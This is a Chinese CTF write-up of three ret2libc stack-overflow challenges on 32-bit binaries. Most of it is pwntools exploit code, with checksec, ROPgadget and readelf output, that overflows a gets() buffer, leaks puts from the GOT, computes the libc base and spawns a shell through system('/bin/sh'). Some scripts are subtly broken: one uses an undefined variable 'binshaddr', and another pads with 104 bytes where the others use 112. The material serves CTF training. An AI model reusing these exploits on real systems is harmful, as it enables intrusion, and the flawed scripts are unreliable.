ret2libc
题目地址 ret2libc
ret2libc
0x1
将文件下载到本地后,file 查看文件类型,顺便 checksec 看看保护机制。
sakura@Kylin:~/下载/ret2libc/ret2libc1$ file ret2libc1
ret2libc1: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=fb89c86b266de4ff294489da59959a62f7aa1e61, with debug_info, not stripped
sakura@Kylin:~/下载/ret2libc/ret2libc1$ checksec ret2libc1
[*] '/home/sakura/下载/ret2libc/ret2libc1/ret2libc1'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源程序为 32 位,开启了 NX 保护。
0x2
拖进 IDA 来看一下程序源代码,确定漏洞位置。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(v4);
return 0;
}
可以看到这里有个 gets 函数,可以确定就是 gets 函数发生了栈溢出。
0x3
利用 ropgadget 看看是否有 /bin/sh 字符串。
sakura@Kylin:~/下载/ret2libc/ret2libc1$ ROPgadget --binary ret2libc1 --string '/bin/sh'
Strings information
============================================================
0x08048720 : /bin/sh
确实存在,在 IDA 中查找一下是否有 system 函数存在。
那么我们直接返回 system 处,即执行 system 函数。相应的 payload 如下:
#ret2libc1.py
from pwn import *
sh = process('./ret2libc1')
binsh = 0x08048720
system_plt = 0x08048460
payload = flat([b'a' * 112, system_plt, b'b' * 4, binshaddr])
sh.sendline(payload)
sh.interactive()
这里我们需要注意函数调用栈的结构,如果是正常调用 system 函数,我们调用的时候会有一个对应的返回地址,这里以’bbbb’ 作为虚假的地址,其后参数对应的参数内容。
这个例子相对来说简单,同时提供了 system 地址与 /bin/sh 的地址,但是大多数程序并不会有这么好的情况。
ret2libc2
0x1
该题目与 ret2libc1 基本一致,只不过不再出现 /bin/sh 字符串,所以此次需要我们自己来读取字符串,所以**我们需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system("/bin/sh")。**由于漏洞与上述一致,这里就不在多说。
##!/usr/bin/env python
from pwn import *
sh = process('./ret2libc2')
gets_plt = 0x08048460
system_plt = 0x08048490
pop_ebx = 0x0804843d
buf2 = 0x804a080
payload = flat(
[b'a' * 112, gets_plt, pop_ebx, buf2, system_plt, 0xdeadbeef, buf2])
sh.sendline(payload)
sh.sendline(b'/bin/sh')
sh.interactive()
ret2libc3
0x1
在例 ret2libc2 的基础上,再次将 system 函数的地址去掉。此时,我们需要同时找到 system 函数地址与 /bin/sh 字符串的地址。首先,查看安全保护。
sakura@Kylin:~/下载/ret2libc/ret2libc3$ file ret2libc3
ret2libc3: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=c0ad441ebd58b907740c1919460c37bb99bb65df, with debug_info, not stripped
sakura@Kylin:~/下载/ret2libc/ret2libc3$ checksec ret2libc3
[*] '/home/sakura/下载/ret2libc/ret2libc3/ret2libc3'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
可以看出,源程序仍旧开启了堆栈不可执行保护。进而查看源码,发现程序的 bug 仍然是栈溢出
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(v4);
return 0;
}
0x2
那么我们如何得到 system 函数的地址呢?这里就主要利用了两个知识点
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。而 libc 在 github 上有人进行收集,如下
- https://github.com/niklasb/libc-database
所以如果我们知道 libc 中某个函数的地址,那么我们就可以确定该程序利用的 libc。进而我们就可以知道 system 函数的地址。
那么如何得到 libc 中的某个函数的地址呢?我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
我们自然可以根据上面的步骤先得到 libc,之后在程序中查询偏移,然后再次获取 system 地址,但这样手工操作次数太多,有点麻烦,这里给出一个 libc 的利用工具,具体细节请参考 readme
from LibcSearcher import * #第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型 obj = LibcSearcher("fgets", 0X7ff39014bd90) obj.dump("system") #system 偏移 obj.dump("str_bin_sh") #/bin/sh 偏移 obj.dump("__libc_start_main_ret")
如果遇到返回多个libc版本库的情况,可以通过
add_condition(leaked_func, leaked_address)
来添加限制条件,也可以手工选择其中一个libc版本(如果你确定的话)。
此外,在得到 libc 之后,其实 libc 中也是有 /bin/sh 字符串的,所以我们可以一起获得 /bin/sh 字符串的地址。
1、泄露一个ret2libc3函数的位置
2、获取libc的版本(只有被执行过的函数才能获取地址)
②LibcSearcher: https://github.com/lieanu/LibcSearcher
3、根据偏移获取shell和sh的位置
①求libc基地址(函数动态地址一函数偏移量)
②求其他函数地址(基地址+函数偏移量)
4、执行程序获取shell
这里我们泄露 __libc_start_main 的地址,这是因为它是程序最初被执行的地方。基本利用思路如下
- 泄露 __libc_start_main 地址
- 获取 libc 版本
- 获取 system 地址与 /bin/sh 的地址
- 再次执行源程序
- 触发栈溢出执行 system(‘/bin/sh’)
exp 如下:
1、手动获取libc基地址
这里面需要用到三个offset,分别为system、puts和sh,可以用 libc database search 网站来获取 libc 基地址
也可以用指令获取:(注意是 IO_puts,之前我一直搜 puts 的地址,结果做不出来)
strings /lib/i386-linux-gnu/libc.so.6 -tx | grep "bin/sh"
readelf -a /lib/i386-linux-gnu/libc.so.6| grep "IO_puts"
readelf -a /lib/i386-linux-gnu/libc.so.6| grep "system"
#ret2libc3_auto.py
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
ret2libc3 = ELF('./ret2libc3')
context.log_level = 'debug'
puts_plt = ret2libc3.plt['puts']
puts_got = ret2libc3.got['puts']
main = ret2libc3.symbols['_start']
input("ready leak libc...")
payload = flat([b'A' * 112, puts_plt, main, puts_got])
sh.sendlineafter(b'Can you find it !?', payload)
print("get the related addr")
puts_addr = u32(sh.recv()[0:4])
print("puts:" + hex(puts_addr))
libcbase = puts_addr - 0x071cd0
system_addr = libcbase + 0x045830
binsh_addr = libcbase + 0x192352
input("ready get shell")
payload = flat([b'A' * 104, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
2、利用工具自动获取libc基地址
#ret2libc3_auto.py
from pwn import *
from LibcSearcher import LibcSearcher
sh = process('./ret2libc3')
context.log_level = 'debug'
ret2libc3 = ELF('./ret2libc3')
gdb.attach(sh, "break main")
puts_got = ret2libc3.got['puts']
puts_plt = ret2libc3.plt['puts']
main = ret2libc3.symbols['_start']
input("leak puts_got addr and return to main again")
payload = flat([b'A' * 112, puts_plt, main, puts_got])
sh.sendlineafter(b'Can you find it !?', payload)
input("ready leak libc...")
puts_addr = u32(sh.recv()[0:4])
print("puts_addr: "+ hex(puts_addr))
libc = LibcSearcher('_IO_puts', puts_addr)
libcbase = puts_addr - libc.dump('_IO_puts')
print("libcbase: ", hex(libcbase))
system_addr = libcbase + libc.dump('system') #0x04fa50
binsh_addr = libcbase + libc.dump('str_bin_sh') # 0x1abf05
print("system: "+ hex(system_addr)+"\n"+"binsh:" + hex(binsh_addr))
input("get shell")
payload = flat([b'A' * 112, system_addr, 0xdeadbeef, binsh_addr])
sh.sendline(payload)
sh.interactive()
参考: